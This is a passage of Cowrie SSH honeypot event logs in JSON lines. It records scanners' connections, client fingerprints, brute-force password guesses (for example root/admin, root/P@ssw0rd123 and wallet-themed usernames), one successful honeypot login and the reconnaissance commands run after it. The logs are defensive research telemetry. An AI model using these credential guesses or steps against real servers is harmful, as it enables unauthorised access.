m","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:42.434323Z","src_ip":"103.149.28.157","session":"db2931e286f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":43110,"dst_ip":"159.203.135.109","dst_port":22,"session":"9009ddc31c4c","protocol":"ssh","message":"New connection: 41.242.115.84:43110 (159.203.135.109:22) [session: 9009ddc31c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:42.802045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:42.805717Z","src_ip":"41.242.115.84","session":"9009ddc31c4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:43.019296Z","src_ip":"41.242.115.84","session":"9009ddc31c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deanna","message":"login attempt [root/deanna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:43.180623Z","src_ip":"103.149.28.157","session":"db2931e286f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp_user","password":"12345","message":"login attempt [sftp_user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:43.898825Z","src_ip":"41.242.115.84","session":"9009ddc31c4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:44.429586Z","src_ip":"103.149.28.157","session":"db2931e286f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:45.112779Z","src_ip":"41.242.115.84","session":"9009ddc31c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":54186,"dst_ip":"159.203.135.109","dst_port":22,"session":"616db3b6333d","protocol":"ssh","message":"New connection: 154.205.134.214:54186 (159.203.135.109:22) [session: 616db3b6333d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:03.576910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:03.580312Z","src_ip":"154.205.134.214","session":"616db3b6333d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:03.736052Z","src_ip":"154.205.134.214","session":"616db3b6333d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhangwen","message":"login attempt [root/zhangwen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:04.384823Z","src_ip":"154.205.134.214","session":"616db3b6333d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:05.559342Z","src_ip":"154.205.134.214","session":"616db3b6333d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":41330,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f081583dd83","protocol":"ssh","message":"New connection: 162.144.213.198:41330 (10.17.0.5:22) [session: 1f081583dd83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:06.988394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:06.992332Z","src_ip":"162.144.213.198","session":"1f081583dd83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:07.080377Z","src_ip":"162.144.213.198","session":"1f081583dd83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guardawallet","password":"guarda123","message":"login attempt [guardawallet/guarda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:07.347941Z","src_ip":"162.144.213.198","session":"1f081583dd83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:09.312006Z","src_ip":"162.144.213.198","session":"1f081583dd83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.49","src_port":53264,"dst_ip":"10.17.0.5","dst_port":22,"session":"31f5e47dc82d","protocol":"ssh","message":"New connection: 92.118.39.49:53264 (10.17.0.5:22) [session: 31f5e47dc82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:11.277042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:11.281214Z","src_ip":"92.118.39.49","session":"31f5e47dc82d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:11.381398Z","src_ip":"92.118.39.49","session":"31f5e47dc82d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:11.682806Z","src_ip":"92.118.39.49","session":"31f5e47dc82d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:12.784377Z","src_ip":"92.118.39.49","session":"31f5e47dc82d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":36102,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce747ad3e79b","protocol":"ssh","message":"New connection: 162.241.33.238:36102 (10.17.0.5:22) [session: ce747ad3e79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:19.767238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:19.771459Z","src_ip":"162.241.33.238","session":"ce747ad3e79b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:19.794381Z","src_ip":"162.241.33.238","session":"ce747ad3e79b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huobi456","message":"login attempt [root/huobi456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:19.863284Z","src_ip":"162.241.33.238","session":"ce747ad3e79b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:20.889285Z","src_ip":"162.241.33.238","session":"ce747ad3e79b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.185.56.205","src_port":53872,"dst_ip":"10.17.0.5","dst_port":22,"session":"f360d552fa39","protocol":"ssh","message":"New connection: 128.185.56.205:53872 (10.17.0.5:22) [session: f360d552fa39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:32.975196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:32.978654Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:33.181469Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:41.836034Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:43.041045Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:43.465894Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:43.468486Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:43.469981Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:43.666188Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:44.129663Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:44.131997Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:44.345654Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:44.820581Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:44.823128Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:45.040895Z","src_ip":"128.185.56.205","session":"f360d552fa39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":42032,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c0c73a18a7f","protocol":"ssh","message":"New connection: 109.237.96.109:42032 (159.203.135.109:22) [session: 3c0c73a18a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:45.245910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:45.250012Z","src_ip":"109.237.96.109","session":"3c0c73a18a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:38:45.340605Z","src_ip":"109.237.96.109","session":"3c0c73a18a7f","protocol":"ssh"}
